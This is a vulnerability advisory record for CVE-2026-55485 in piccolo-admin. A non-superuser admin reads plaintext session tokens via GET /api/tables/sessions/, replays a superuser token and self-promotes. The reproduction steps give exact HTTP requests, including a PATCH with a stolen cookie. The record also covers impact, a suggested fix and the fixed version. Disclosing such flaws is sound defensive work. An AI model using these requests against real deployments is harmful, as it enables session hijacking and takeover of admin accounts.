{"id":"CVE-2026-55485","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55485","summary":"piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.","details":"## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` — the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` — the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john's `SUPERUSER` column is **✗**. *(See Screenshot 1.)*\n<img width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" />\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=<john's session>; csrftoken=<token>\n   X-CSRFToken: <token>\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n<img width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" />\n<img width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" />\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=<john's session>; csrftoken=<token>\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n<img width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" />\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>\n   X-CSRFToken: <token>\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n<img width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" />\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user's password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic — once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** — accessible over the network.\n- **AC:L** — single GET; no race or timing dependency.\n- **PR:L** — requires non-superuser admin credentials (the default admin role).\n- **UI:N** — no victim interaction needed.\n- **S:U** — scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** — full read, full write, full availability impact on the admin's data and on other users' sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I'm happy to coordinate disclosure timing and validate any candidate patch.","published":"2026-08-28T18:14:13Z","modified":"2026-08-28T18:28:27.695890274Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"piccolo-admin","fixedVersion":"1.14.0"}],"fix":{"url":"https://github.com/piccolo-orm/piccolo_api/pull/331","label":"piccolo-orm/piccolo_api#331"},"references":[{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/pull/331"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"},{"type":"PACKAGE","url":"https://github.com/piccolo-orm/piccolo_admin"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-28T18:28:27.695890274Z"}}